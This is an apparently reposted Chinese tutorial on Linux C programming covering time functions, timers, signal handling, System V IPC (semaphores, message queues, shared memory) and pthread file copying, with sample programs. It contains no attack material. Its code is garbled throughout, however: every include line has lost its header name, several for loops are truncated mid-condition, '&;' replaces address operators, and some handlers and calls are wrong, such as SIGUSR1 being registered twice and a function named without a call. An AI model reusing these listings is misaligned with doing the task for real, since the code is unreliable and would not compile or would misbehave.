linux操作系統下c語言編程入門(2)

火星人 @ 2014-03-26 , reply:0



4)程序設計入門--時間概念
前言:Linux下的時間概念
這一章我們學習Linux的時間表示和計算函數
時間的表示
時間的測量
計時器的使用
1。時間表示 在程序當中,我們經常要輸出系統當前的時間,比如我們使用date命令
的輸出結果.這個時候我們可以使用下面兩個函數
#include

time_t time(time_t *tloc);
char *ctime(const time_t *clock);
time函數返回從1970年1月1日0點以來的秒數.存儲在time_t結構之中.不過這個函數的返
回值對於我們來說沒有什麼實際意義.這個時候我們使用第二個函數將秒數轉化為字元串
.. 這個函數的返回類型是固定的:一個可能值為. Thu Dec 7 14:58:59 2000 這個字元串
的長度是固定的為26
2。時間的測量 有時候我們要計算程序執行的時間.比如我們要對演算法進行時間分析
..這個時候可以使用下面這個函數.
#include

int gettimeofday(struct timeval *tv,struct timezone *tz);
strut timeval {
long tv_sec; /* 秒數 */
long tv_usec; /* 微秒數 */
};
gettimeofday將時間保存在結構tv之中.tz一般我們使用NULL來代替.
#include #include #include void function()
{
unsigned int i,j;
double y;
for(i=0;i<1000;i++)
for(j=0;j<1000;j++)
y=sin((double)i);
}
main()
{
struct timeval tpstart,tpend;
float timeuse;
gettimeofday(&tpstart,NULL);
function();
gettimeofday(&tpend,NULL);
timeuse=1000000*(tpend.tv_sec-tpstart.tv_sec)+
tpend.tv_usec-tpstart.tv_usec;
timeuse/=1000000;
printf("Used Time:%f\n",timeuse);
exit(0);
}
這個程序輸出函數的執行時間,我們可以使用這個來進行系統性能的測試,或者是函數算
法的效率分析.在我機器上的一個輸出結果是: Used Time:0.556070
3。計時器的使用 Linux操作系統為每一個進程提供了3個內部間隔計時器.
ITIMER_REAL:減少實際時間.到時的時候發出SIGALRM信號.
ITIMER_VIRTUAL:減少有效時間(進程執行的時間).產生SIGVTALRM信號.
ITIMER_PROF:減少進程的有效時間和系統時間(為進程調度用的時間).這個經常和上面一
個使用用來計算系統內核時間和用戶時間.產生SIGPROF信號.
具體的操作函數是:
#include
int getitimer(int which,struct itimerval *value);
int setitimer(int which,struct itimerval *newval,
struct itimerval *oldval);
struct itimerval {
struct timeval it_interval;
struct timeval it_value;
}
getitimer函數得到間隔計時器的時間值.保存在value中 setitimer函數設置間隔計時器
的時間值為newval.並將舊值保存在oldval中. which表示使用三個計時器中的哪一個.
itimerval結構中的it_value是減少的時間,當這個值為0的時候就發出相應的信號了. 然
後設置為it_interval值.
#include
#include
#include
#include
#include
#define PROMPT "時間已經過去了兩秒鐘\n\a"
char *prompt=PROMPT;
unsigned int len;
void prompt_info(int signo)
{
write(STDERR_FILENO,prompt,len);
}
void init_sigaction(void)
{
struct sigaction act;
act.sa_handler=prompt_info;
act.sa_flags=0;
sigemptyset(&act.sa_mask);
sigaction(SIGPROF,&act,NULL);
}
void init_time()
{
struct itimerval value;
value.it_value.tv_sec=2;
value.it_value.tv_usec=0;
value.it_interval=value.it_value;
setitimer(ITIMER_PROF,&value,NULL);
}
int main()
{
len=strlen(prompt);
init_sigaction();
init_time();
while(1);
exit(0);
}
這個程序每執行兩秒中之後會輸出一個提示.

5)Linux程序設計入門--信號處理
Linux下的信號事件
前言:這一章我們討論一下Linux下的信號處理函數.
Linux下的信號處理函數:
信號的產生
信號的處理
其它信號函數
一個實例
1。信號的產生
Linux下的信號可以類比於DOS下的INT或者是Windows下的事件.在有一個信號發生時
候相信的信號就會發送給相應的進程.在Linux下的信號有以下幾個. 我們使用 kill -l
命令可以得到以下的輸出結果:
1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL
5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE
9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2
13) SIGPIPE 14) SIGALRM 15) SIGTERM 17) SIGCHLD
18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN
22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO
30) SIGPWR
關於這些信號的詳細解釋請查看man 7 signal的輸出結果. 信號事件的發生有兩個來源
:一個是硬體的原因(比如我們按下了鍵盤),一個是軟體的原因(比如我們使用系統函數或
者是命令發出信號). 最常用的四個發出信號的系統函數是kill, raise, alarm和setit
imer函數. setitimer函數我們在計時器的使用 那一章再學習.
#include
#include
#include
int kill(pid_t pid,int sig);
int raise(int sig);
unisigned int alarm(unsigned int seconds);
kill系統調用負責向進程發送信號sig.
如果pid是正數,那麼向信號sig被發送到進程pid.
如果pid等於0,那麼信號sig被發送到所以和pid進程在同一個進程組的進程
如果pid等於-1,那麼信號發給所有的進程表中的進程,除了最大的哪個進程號.
如果pid由於-1,和0一樣,只是發送進程組是-pid.
我們用最多的是第一個情況.還記得我們在守護進程那一節的例子嗎?我們那個時候用這
個函數殺死了父進程守護進程的創建
raise系統調用向自己發送一個sig信號.我們可以用上面那個函數來實現這個功能的.
alarm函數和時間有點關係了,這個函數可以在seconds秒後向自己發送一個SIGALRM信號
.. 下面這個函數會有什麼結果呢?
#include
main()
{
unsigned int i;
alarm(1);
for(i=0;1;i++)
printf("I=%d",i);
}
SIGALRM的預設操作是結束進程,所以程序在1秒之後結束,你可以看看你的最後I值為多少
,來比較一下大家的系統性能差異(我的是2232).
2。信號操作 有時候我們希望進程正確的執行,而不想進程受到信號的影響,比如我
們希望上面那個程序在1秒鐘之後不結束.這個時候我們就要進行信號的操作了.
信號操作最常用的方法是信號屏蔽.信號屏蔽要用到下面的幾個函數.
#include
int sigemptyset(sigset_t *set);
int sigfillset(sigset_t *set);
int sigaddset(sigset_t *set,int signo);
int sigdelset(sigset_t *set,int signo);
int sigismember(sigset_t *set,int signo);
int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
sigemptyset函數初始化信號集合set,將set設置為空.sigfillset也初始化信號集合,只
是將信號集合設置為所有信號的集合.sigaddset將信號signo加入到信號集合之中,sigd
elset將信號從信號集合中刪除.sigismember查詢信號是否在信號集合之中.
sigprocmask是最為關鍵的一個函數.在使用之前要先設置好信號集合set.這個函數的作
用是將指定的信號集合set加入到進程的信號阻塞集合之中去,如果提供了oset那麼當前
的進程信號阻塞集合將會保存在oset裡面.參數how決定函數的操作方式.
SIG_BLOCK:增加一個信號集合到當前進程的阻塞集合之中.
SIG_UNBLOCK:從當前的阻塞集合之中刪除一個信號集合.
SIG_SETMASK:將當前的信號集合設置為信號阻塞集合.
以一個實例來解釋使用這幾個函數.
#include
#include
#include
#include
int main(int argc,char **argv)
{
double y;
sigset_t intmask;
int i,repeat_factor;
if(argc!=2)
{
fprintf(stderr,"Usage:%s repeat_factor\n\a",argv[0]);
exit(1);
}
if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10;
sigemptyset(&intmask); /* 將信號集合設置為空 */
sigaddset(&intmask,SIGINT); /* 加入中斷 Ctrl+C 信號*/
while(1)
{
/*阻塞信號,我們不希望保存原來的集合所以參數為NULL*/
sigprocmask(SIG_BLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal blocked\n");
for(i=0;i fprintf(stderr,"Blocked calculation is finished\n");
/* 取消阻塞 */
sigprocmask(SIG_UNBLOCK,&intmask,NULL);
fprintf(stderr,"SIGINT signal unblocked\n");
for(i=0;i fprintf(stderr,"Unblocked calculation is finished\n");
}
exit(0);
}
程序在運行的時候我們要使用Ctrl+C來結束.如果我們在第一計算的時候發出SIGINT信號
,由於信號已經屏蔽了,所以程序沒有反映.只有到信號被取消阻塞的時候程序才會結束.
注意我們只要發出一次SIGINT信號就可以了,因為信號屏蔽只是將信號加入到信號阻塞
集合之中,並沒有丟棄這個信號.一旦信號屏蔽取消了,這個信號就會發生作用.
有時候我們希望對信號作出及時的反映的,比如當擁護按下Ctrl+C時,我們不想什麼事情
也不做,我們想告訴用戶你的這個操作不好,請不要重試,而不是什麼反映也沒有的. 這個
時候我們要用到sigaction函數.
#include

int sigaction(int signo,const struct sigaction *act,
struct sigaction *oact);
struct sigaction {
void (*sa_handler)(int signo);
void (*sa_sigaction)(int siginfo_t *info,void *act);
sigset_t sa_mask;
int sa_flags;
void (*sa_restore)(void);
}
這個函數和結構看起來是不是有點恐怖呢.不要被這個嚇著了,其實這個函數的使用相當
簡單的.我們先解釋一下各個參數的含義. signo很簡單就是我們要處理的信號了,可以是
任何的合法的信號.有兩個信號不能夠使用(SIGKILL和SIGSTOP). act包含我們要對這個
信號進行如何處理的信息.oact更簡單了就是以前對這個函數的處理信息了,主要用來保
存信息的,一般用NULL就OK了.
信號結構有點複雜.不要緊我們慢慢的學習.
sa_handler是一個函數型指針,這個指針指向一個函數,這個函數有一個參數.這個函數就
是我們要進行的信號操作的函數. sa_sigaction,sa_restore和sa_handler差不多的,只
是參數不同罷了.這兩個元素我們很少使用,就不管了.
sa_flags用來設置信號操作的各個情況.一般設置為0好了.sa_mask我們已經學習過了
在使用的時候我們用sa_handler指向我們的一個信號操作函數,就可以了.sa_handler有
兩個特殊的值:SIG_DEL和SIG_IGN.SIG_DEL是使用預設的信號操作函數,而SIG_IGN是使用
忽略該信號的操作函數.
這個函數複雜,我們使用一個實例來說明.下面這個函數可以捕捉用戶的CTRL+C信號.並輸
出一個提示語句.
#include
#include
#include
#include
#include
#define PROMPT "你想終止程序嗎?"
char *prompt=PROMPT;
void ctrl_c_op(int signo)
{
write(STDERR_FILENO,prompt,strlen(prompt));
}
int main()
{
struct sigaction act;
act.sa_handler=ctrl_c_op;
sigemptyset(&act.sa_mask);
act.sa_flags=0;
if(sigaction(SIGINT,&act,NULL)<0)
{
fprintf(stderr,"Install Signal Action Error:%s\n\a",strerror(errno));
exit(1);
}
while(1);
}
在上面程序的信號操作函數之中,我們使用了write函數而沒有使用fprintf函數.是因為
我們要考慮到下面這種情況.如果我們在信號操作的時候又有一個信號發生,那麼程序該
如何運行呢? 為了處理在信號處理函數運行的時候信號的發生,我們需要設置sa_mask成
員. 我們將我們要屏蔽的信號添加到sa_mask結構當中去,這樣這些函數在信號處理的時
候就會被屏蔽掉的.
3。其它信號函數 由於信號的操作和處理比較複雜,我們再介紹幾個信號操作函數.

#include
#include
int pause(void);
int sigsuspend(const sigset_t *sigmask);
pause函數很簡單,就是掛起進程直到一個信號發生了.而sigsuspend也是掛起進程只是在
調用的時候用sigmask取代當前的信號阻塞集合.
#include
int sigsetjmp(sigjmp_buf env,int val);
void siglongjmp(sigjmp_buf env,int val);
還記得goto函數或者是setjmp和longjmp函數嗎.這兩個信號跳轉函數也可以實現程序的
跳轉讓我們可以從函數之中跳轉到我們需要的地方.
由於上面幾個函數,我們很少遇到,所以只是說明了一下,詳細情況請查看聯機幫助.
4。一個實例 還記得我們在守護進程創建的哪個程序嗎?守護進程在這裡我們把那個
程序加強一下. 下面這個程序會在也可以檢查用戶的郵件.不過提供了一個開關,如果用
戶不想程序提示有新的郵件到來,可以向程序發送SIGUSR2信號,如果想程序提供提示可以
發送SIGUSR1信號.
#include
#include
#include
#include
#include
#include
#include
#include
#include
/* Linux 的默任個人的郵箱地址是 /var/spool/mail/ */
#define MAIL_DIR "/var/spool/mail/"
/* 睡眠10秒鐘 */
#define SLEEP_TIME 10
#define MAX_FILENAME 255
unsigned char notifyflag=1;
long get_file_size(const char *filename)
{
struct stat buf;
if(stat(filename,&;buf)==-1)
{
if(errno==ENOENT)return 0;
else return -1;
}
return (long)buf.st_size;
}
void send_mail_notify(void)
{
fprintf(stderr,"New mail has arrived\007\n");
}
void turn_on_notify(int signo)
{
notifyflag=1;
}
void turn_off_notify(int signo)
{
notifyflag=0;
}
int check_mail(const char *filename)
{
long old_mail_size,new_mail_size;
sigset_t blockset,emptyset;
sigemptyset(&;blockset);
sigemptyset(&;emptyset);
sigaddset(&;blockset,SIGUSR1);
sigaddset(&;blockset,SIGUSR2);
old_mail_size=get_file_size(filename);
if(old_mail_size<0)return 1;
if(old_mail_size>0) send_mail_notify();
sleep(SLEEP_TIME);
while(1)
{
if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1;
while(notifyflag==0)sigsuspend(&;emptyset);
if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1;
new_mail_size=get_file_size(filename);
if(new_mail_size>old_mail_size)send_mail_notify;
old_mail_size=new_mail_size;
sleep(SLEEP_TIME);
}
}
int main(void)
{
char mailfile[MAX_FILENAME];
struct sigaction newact;
struct passwd *pw;
if((pw=getpwuid(getuid()))==NULL)
{
fprintf(stderr,"Get Login Name Error:%s\n\a",strerror(errno));
exit(1);
}
strcpy(mailfile,MAIL_DIR);
strcat(mailfile,pw->pw_name);
newact.sa_handler=turn_on_notify;
newact.sa_flags=0;
sigemptyset(&;newact.sa_mask);
sigaddset(&;newact.sa_mask,SIGUSR1);
sigaddset(&;newact.sa_mask,SIGUSR2);
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn On Error:%s\n\a",strerror(errno));
newact.sa_handler=turn_off_notify;
if(sigaction(SIGUSR1,&;newact,NULL)<0)
fprintf(stderr,"Turn Off Error:%s\n\a",strerror(errno));
check_mail(mailfile);
exit(0);
}
信號操作是一件非常複雜的事情,比我們想象之中的複雜程度還要複雜,如果你想徹底的
弄清楚信號操作的各個問題,那麼除了大量的練習以外還要多看聯機手冊.不過如果我們
只是一般的使用的話,有了上面的幾個函數也就差不多了. 我們就介紹到這裡了.

6)Linux程序設計入門--消息管理
前言:Linux下的進程通信(IPC)
Linux下的進程通信(IPC)
POSIX無名信號量
System V信號量
System V消息隊列
System V共享內存
1。POSIX無名信號量 如果你學習過操作系統,那麼肯定熟悉PV操作了.PV操作是原子
操作.也就是操作是不可以中斷的,在一定的時間內,只能夠有一個進程的代碼在CPU上面
執行.在系統當中,有時候為了順利的使用和保護共享資源,大家提出了信號的概念. 假設
我們要使用一台印表機,如果在同一時刻有兩個進程在向印表機輸出,那麼最終的結果會
是什麼呢.為了處理這種情況,POSIX標準提出了有名信號量和無名信號量的概念,由於Li
nux只實現了無名信號量,我們在這裡就只是介紹無名信號量了. 信號量的使用主要是用
來保護共享資源,使的資源在一個時刻只有一個進程所擁有.為此我們可以使用一個信號
燈.當信號燈的值為某個值的時候,就表明此時資源不可以使用.否則就表>示可以使用.
為了提供效率,系統提供了下面幾個函數
POSIX的無名信號量的函數有以下幾個:
#include
int sem_init(sem_t *sem,int pshared,unsigned int value);
int sem_destroy(sem_t *sem);
int sem_wait(sem_t *sem);
int sem_trywait(sem_t *sem);
int sem_post(sem_t *sem);
int sem_getvalue(sem_t *sem);
sem_init創建一個信號燈,並初始化其值為value.pshared決定了信號量能否在幾個進程
間共享.由於目前Linux還沒有實現進程間共享信號燈,所以這個值只能夠取0. sem_dest
roy是用來刪除信號燈的.sem_wait調用將阻塞進程,直到信號燈的值大於0.這個函數返回
的時候自動的將信號燈的值的件一.sem_post和sem_wait相反,是將信號燈的內容加一同
時發出信號喚醒等待的進程..sem_trywait和sem_wait相同,不過不阻塞的,當信號燈的值
為0的時候返回EAGAIN,表示以後重試.sem_getvalue得到信號燈的值.
由於Linux不支持,我們沒有辦法用源程序解釋了.
這幾個函數的使用相當簡單的.比如我們有一個程序要向一個系統印表機列印兩頁.我們
首先創建一個信號燈,並使其初始值為1,表示我們有一個資源可用.然後一個進程調用se
m_wait由於這個時候信號燈的值為1,所以這個函數返回,印表機開始列印了,同時信號燈
的值為0 了. 如果第二個進程要列印,調用sem_wait時候,由於信號燈的值為0,資源不可
用,於是被阻塞了.當第一個進程列印完成以後,調用sem_post信號燈的值為1了,這個時候
系統通知第二個進程,於是第二個進程的sem_wait返回.第二個進程開始列印了.
不過我們可以使用線程來解決這個問題的.我們會在後面解釋什麼是線程的.編譯包含上
面這幾個函數的程序要加上 -lrt選賢,以連接librt.so庫
2。System V信號量 為了解決上面哪個問題,我們也可以使用System V信號量.很幸運的
是Linux實現了System V信號量.這樣我們就可以用實例來解釋了. System V信號量的函
數主要有下面幾個.
#include
#include
#include
key_t ftok(char *pathname,char proj);
int semget(key_t key,int nsems,int semflg);
int semctl(int semid,int semnum,int cmd,union semun arg);
int semop(int semid,struct sembuf *spos,int nspos);
struct sembuf {
short sem_num; /* 使用那一個信號 */
short sem_op; /* 進行什麼操作 */
short sem_flg; /* 操作的標誌 */
};
ftok函數是根據pathname和proj來創建一個關鍵字.semget創建一個信號量.成功時返回
信號的ID,key是一個關鍵字,可以是用ftok創建的也可以是IPC_PRIVATE表明由系統選用
一個關鍵字. nsems表明我們創建的信號個數.semflg是創建的許可權標誌,和我們創建一個
文件的標誌相同.
semctl對信號量進行一系列的控制.semid是要操作的信號標誌,semnum是信號的個數,cm
d是操作的命令.經常用的兩個值是:SETVAL(設置信號量的值)和IPC_RMID(刪除信號燈).
arg是一個給cmd的參數.
semop是對信號進行操作的函數.semid是信號標誌,spos是一個操作數組表明要進行什麼
操作,nspos表明數組的個數. 如果sem_op大於0,那麼操作將sem_op加入到信號量的值中
,並喚醒等待信號增加的進程. 如果為0,當信號量的值是0的時候,函數返回,否則阻塞直
到信號量的值為0. 如果小於0,函數判斷信號量的值加上這個負值.如果結果為0喚醒等待
信號量為0的進程,如果小與0函數阻塞.如果大於0,那麼從信號量裡面減去這個值並返回
..
下面我們一以一個實例來說明這幾個函數的使用方法.這個程序用標準錯誤輸出來代替我
們用的印表機.
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define PERMS S_IRUSR|S_IWUSR
void init_semaphore_struct(struct sembuf *sem,int semnum,
int semop,int semflg)
{
/* 初始話信號燈結構 */
sem->sem_num=semnum;
sem->sem_op=semop;
sem->sem_flg=semflg;
}
int del_semaphore(int semid)
{
/* 信號燈並不隨程序的結束而被刪除,如果我們沒刪除的話(將1改為0)
可以用ipcs命令查看到信號燈,用ipcrm可以刪除信號燈的
*/
#if 1
return semctl(semid,0,IPC_RMID);
#endif
}
int main(int argc,char **argv)
{
char buffer[MAX_CANON],*c;
int i,n;
int semid,semop_ret,status;
pid_t childpid;
struct sembuf semwait,semsignal;
if((argc!=2)||((n=atoi(argv[1]))<1))
{
fprintf(stderr,"Usage:%s number\n\a",argv[0]);
exit(1);
}
/* 使用IPC_PRIVATE 表示由系統選擇一個關鍵字來創建 */
/* 創建以後信號燈的初始值為0 */
if((semid=semget(IPC_PRIVATE,1,PERMS))==-1)
{
fprintf(stderr,"[%d]:Acess Semaphore Error:%s\n\a",
getpid(),strerror(errno));
exit(1);
}
/* semwait是要求資源的操作(-1) */
init_semaphore_struct(&semwait,0,-1,0);
/* semsignal是釋放資源的操作(+1) */
init_semaphore_struct(&semsignal,0,1,0);
/* 開始的時候有一個系統資源(一個標準錯誤輸出) */
if(semop(semid,&semsignal,1)==-1)
{
fprintf(stderr,"[%d]:Increment Semaphore Error:%s\n\a",
getpid(),strerror(errno));
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s\n\a",
getpid(),strerror(errno));
exit(1);
}
/* 創建一個進程鏈 */
for(i=0;i if(childpid=fork()) break;
sprintf(buffer,"[i=%d]-->[Process=%d]-->[Parent=%d]-->[Child=%d]\n",
i,getpid(),getppid(),childpid);
c=buffer;
/* 這裡要求資源,進入原子操作 */
while(((semop_ret=semop(semid,&semwait,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
{
fprintf(stderr,"[%d]:Decrement Semaphore Error:%s\n\a",
getpid(),strerror(errno));
}
else
{
while(*c!='\0')fputc(*c++,stderr);
/* 原子操作完成,趕快釋放資源 */
while(((semop_ret=semop(semid,&semsignal,1))==-1)&&(errno==EINTR));
if(semop_ret==-1)
fprintf(stderr,"[%d]:Increment Semaphore Error:%s\n\a",
getpid(),strerror(errno));
}
/* 不能夠在其他進程反問信號燈的時候,我們刪除了信號燈 */
while((wait(&status)==-1)&&(errno==EINTR));
/* 信號燈只能夠被刪除一次的 */
if(i==1)
if(del_semaphore(semid)==-1)
fprintf(stderr,"[%d]:Destroy Semaphore Error:%s\n\a",
getpid(),strerror(errno));
exit(0);
}
信號燈的主要用途是保護臨界資源(在一個時刻只被一個進程所擁有).
3。SystemV消息隊列 為了便於進程之間通信,我們可以使用管道通信 SystemV也提供了
一些函數來實現進程的通信.這就是消息隊列.
#include
#include
#include
int msgget(key_t key,int msgflg);
int msgsnd(int msgid,struct msgbuf *msgp,int msgsz,int msgflg);
int msgrcv(int msgid,struct msgbuf *msgp,int msgsz,
long msgtype,int msgflg);
int msgctl(Int msgid,int cmd,struct msqid_ds *buf);

struct msgbuf {
long msgtype; /* 消息類型 */
....... /* 其他數據類型 */
}
msgget函數和semget一樣,返回一個消息隊列的標誌.msgctl和semctl是對消息進行控制
.. msgsnd和msgrcv函數是用來進行消息通訊的.msgid是接受或者發送的消息隊列標誌.
msgp是接受或者發送的內容.msgsz是消息的大小. 結構msgbuf包含的內容是至少有一個
為msgtype.其他的成分是用戶定義的.對於發送函數msgflg指出緩衝區用完時候的操作.
接受函數指出無消息時候的處理.一般為0. 接收函數msgtype指出接收消息時候的操作.

如果msgtype=0,接收消息隊列的第一個消息.大於0接收隊列中消息類型等於這個值的第
一個消息.小於0接收消息隊列中小於或者等於msgtype絕對值的所有消息中的最小一個消
息. 我們以一個實例來解釋進程通信.下面這個程序有server和client組成.先運行服務
端后運行客戶端.
服務端 server.c
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main()
{
struct msgtype msg;
key_t key;
int msgid;
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s\a\n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM|IPC_CREAT|IPC_EXCL))==-1)
{
fprintf(stderr,"Creat Message Error:%s\a\n",strerror(errno));
exit(1);
}
while(1)
{
msgrcv(msgid,&msg,sizeof(struct msgtype),1,0);
fprintf(stderr,"Server Receive:%s\n",msg.buffer);
msg.mtype=2;
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
}
exit(0);
}
----------------------------------------------------------------------------
----
客戶端(client.c)
#include
#include
#include
#include
#include
#include
#include
#include
#define MSG_FILE "server.c"
#define BUFFER 255
#define PERM S_IRUSR|S_IWUSR
struct msgtype {
long mtype;
char buffer[BUFFER+1];
};
int main(int argc,char **argv)
{
struct msgtype msg;
key_t key;
int msgid;
if(argc!=2)
{
fprintf(stderr,"Usage:%s string\n\a",argv[0]);
exit(1);
}
if((key=ftok(MSG_FILE,'a'))==-1)
{
fprintf(stderr,"Creat Key Error:%s\a\n",strerror(errno));
exit(1);
}
if((msgid=msgget(key,PERM))==-1)
{
fprintf(stderr,"Creat Message Error:%s\a\n",strerror(errno));
exit(1);
}
msg.mtype=1;
strncpy(msg.buffer,argv[1],BUFFER);
msgsnd(msgid,&msg,sizeof(struct msgtype),0);
memset(&msg,'\0',sizeof(struct msgtype));
msgrcv(msgid,&msg,sizeof(struct msgtype),2,0);
fprintf(stderr,"Client receive:%s\n",msg.buffer);
exit(0);
}
注意服務端創建的消息隊列最後沒有刪除,我們要使用ipcrm命令來刪除的.
4。SystemV共享內存 還有一個進程通信的方法是使用共享內存.SystemV提供了以下幾個
函數以實現共享內存.
#include
#include
#include
int shmget(key_t key,int size,int shmflg);
void *shmat(int shmid,const void *shmaddr,int shmflg);
int shmdt(const void *shmaddr);
int shmctl(int shmid,int cmd,struct shmid_ds *buf);
shmget和shmctl沒有什麼好解釋的.size是共享內存的大小. shmat是用來連接共享內存
的.shmdt是用來斷開共享內存的.不要被共享內存詞語嚇倒,共享內存其實很容易實現和
使用的.shmaddr,shmflg我們只要用0代替就可以了.在使用一個共享內存之前我們調用s
hmat得到共享內存的開始地址,使用結束以後我們使用shmdt斷開這個內存.
#include
#include
#include
#include
#include
#include
#include
#include
#define PERM S_IRUSR|S_IWUSR
int main(int argc,char **argv)
{
int shmid;
char *p_addr,*c_addr;
if(argc!=2)
{
fprintf(stderr,"Usage:%s\n\a",argv[0]);
exit(1);
}
if((shmid=shmget(IPC_PRIVATE,1024,PERM))==-1)
{
fprintf(stderr,"Create Share Memory Error:%s\n\a",strerror(errno));
exit(1);
}
if(fork())
{
p_addr=shmat(shmid,0,0);
memset(p_addr,'\0',1024);
strncpy(p_addr,argv[1],1024);
exit(0);
}
else
{
c_addr=shmat(shmid,0,0);
printf("Client get %s",c_addr);
exit(0);
}
}
這個程序是父進程將參數寫入到共享內存,然後子進程把內容讀出來.最後我們要使用ip
crm釋放資源的.先用ipcs找出ID然後用ipcrm shm ID刪除.
後記:
進程通信(IPC)是網路程序的基礎,在很多的網路程序當中會大量的使用進程通信的概念
和知識.其實進程通信是一件非常複雜的事情,我在這裡只是簡單的介紹了一下.如果你想
學習進程通信的詳細知識,最好的辦法是自己不斷的寫程序和看聯機手冊.現在網路上有
了很多的知識可以去參考.可惜我看到的很多都是英文編寫的.如果你找到了有中文的版
本請儘快告訴我.謝謝!

7)Linux程序設計入門--線程操作
前言:Linux下線程的創建
介紹在Linux下線程的創建和基本的使用. Linux下的線程是一個非常複雜的問題,由
於我對線程的學習不時很好,我在這裡只是簡單的介紹線程的創建和基本的使用,關於線
程的高級使用(如線程的屬性,線程的互斥,線程的同步等等問題)可以參考我後面給出的
資料. 現在關於線程的資料在網路上可以找到許多英文資料,後面我羅列了許多鏈接,對
線程的高級屬性感興趣的話可以參考一下. 等到我對線程的了解比較深刻的時候,我回來
完成這篇文章.如果您對線程了解的詳盡我也非常高興能夠由您來完善.
先介紹什麼是線程.我們編寫的程序大多數可以看成是單線程的.就是程序是按照一定的
順序來執行.如果我們使用線程的話,程序就會在我們創建線成的地方分叉,變成兩個"程
序"在執行.粗略的看來好象和子進程差不多的,其實不然.子進程是通過拷貝父進程的地
址空間來執行的.而線程是通過共享程序代碼來執行的,講的通俗一點就是線程的相同的
代碼會被執行幾次.使用線程的好處是可以節省資源,由於線程是通過共享代碼的,所以沒
有進程調度那麼複雜.
線程的創建和使用
線程的創建是用下面的幾個函數來實現的.
#include
int pthread_create(pthread_t *thread,pthread_attr_t *attr,
void *(*start_routine)(void *),void *arg);
void pthread_exit(void *retval);
int pthread_join(pthread *thread,void **thread_return);
pthread_create創建一個線程,thread是用來表明創建線程的ID,attr指出線程創建時候
的屬性,我們用NULL來表明使用預設屬性.start_routine函數指針是線程創建成功后開始
執行的函數,arg是這個函數的唯一一個參數.表明傳遞給start_routine的參數. pthrea
d_exit函數和exit函數類似用來退出線程.這個函數結束線程,釋放函數的資源,並在最後
阻塞,直到其他線程使用pthread_join函數等待它.然後將*retval的值傳遞給**thread_
return.由於這個函數釋放所以的函數資源,所以retval不能夠指向函數的局部變數. pt
hread_join和wait調用一樣用來等待指定的線程. 下面我們使用一個實例來解釋一下使
用方法.在實踐中,我們經常要備份一些文件.下面這個程序可以實現當前目錄下的所有文
件備份.備份后的後綴名為bak
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define BUFFER 512
struct copy_file {
int infile;
int outfile;
};
void *copy(void *arg)
{
int infile,outfile;
int bytes_read,bytes_write,*bytes_copy_p;
char buffer[BUFFER],*buffer_p;
struct copy_file *file=(struct copy_file *)arg;
infile=file->infile;
outfile=file->outfile;
/* 因為線程退出時,所有的變數空間都要被釋放,所以我們只好自己分配內存了 */
if((bytes_copy_p=(int *)malloc(sizeof(int)))==NULL) pthread_exit(NULL);
bytes_read=bytes_write=0;
*bytes_copy_p=0;
/* 還記得怎麼拷貝文件嗎 */
while((bytes_read=read(infile,buffer,BUFFER))!=0)
{
if((bytes_read==-1)&&(errno!=EINTR))break;
else if(bytes_read>0)
{
buffer_p=buffer;
while((bytes_write=write(outfile,buffer_p,bytes_read))!=0)
{
if((bytes_write==-1)&&(errno!=EINTR))break;
else if(bytes_write==bytes_read)break;
else if(bytes_write>0)
{
buffer_p+=bytes_write;
bytes_read-=bytes_write;
}
}
if(bytes_write==-1)break;
*bytes_copy_p+=bytes_read;
}
}
close(infile);
close(outfile);
pthread_exit(bytes_copy_p);
}
int main(int argc,char **argv)
{
pthread_t *thread;
struct copy_file *file;
int byte_copy,*byte_copy_p,num,i,j;
char filename[BUFFER];
struct dirent **namelist;
struct stat filestat;
/* 得到當前路徑下面所有的文件(包含目錄)的個數 */
if((num=scandir(".",&namelist,0,alphasort))<0)
{
fprintf(stderr,"Get File Num Error:%s\n\a",strerror(errno));
exit(1);
}
/* 給線程分配空間,其實沒有必要這麼多的 */
if(((thread=(pthread_t *)malloc(sizeof(pthread_t)*num))==NULL)||
((file=(struct copy_file *)malloc(sizeof(struct copy_file)*num))==NULL)
)
{
fprintf(stderr,"Out Of Memory!\n\a");
exit(1);
}

for(i=0,j=0;i {
memset(filename,'\0',BUFFER);
strcpy(filename,namelist->d_name);
if(stat(filename,&filestat)==-1)
{
fprintf(stderr,"Get File Information:%s\n\a",strerror(errno));
exit(1);
}
/* 我們忽略目錄 */
if(!S_ISREG(filestat.st_mode))continue;
if((file[j].infile=open(filename,O_RDONLY))<0)
{
fprintf(stderr,"Open %s Error:%s\n\a",filename,strerror(errno));
continue;
}
strcat(filename,".bak");
if((file[j].outfile=open(filename,O_WRONLY|O_CREAT,S_IRUSR|S_IWUSR))
<0)
{
fprintf(stderr,"Creat %s Error:%s\n\a",filename,strerror(errno
));
continue;
}
/* 創建線程,進行文件拷貝 */
if(pthread_create(&thread[j],NULL,copy,(void *)&file[j])!=0)
fprintf(stderr,"Create Thread[%d] Error:%s\n\a",i,strerror(errno));
j++;
}
byte_copy=0;
for(i=0;i {
/* 等待線程結束 */
if(pthread_join(thread,(void **)&byte_copy_p)!=0)
fprintf(stderr,"Thread[%d] Join Error:%s\n\a",
i,strerror(errno));
else
{
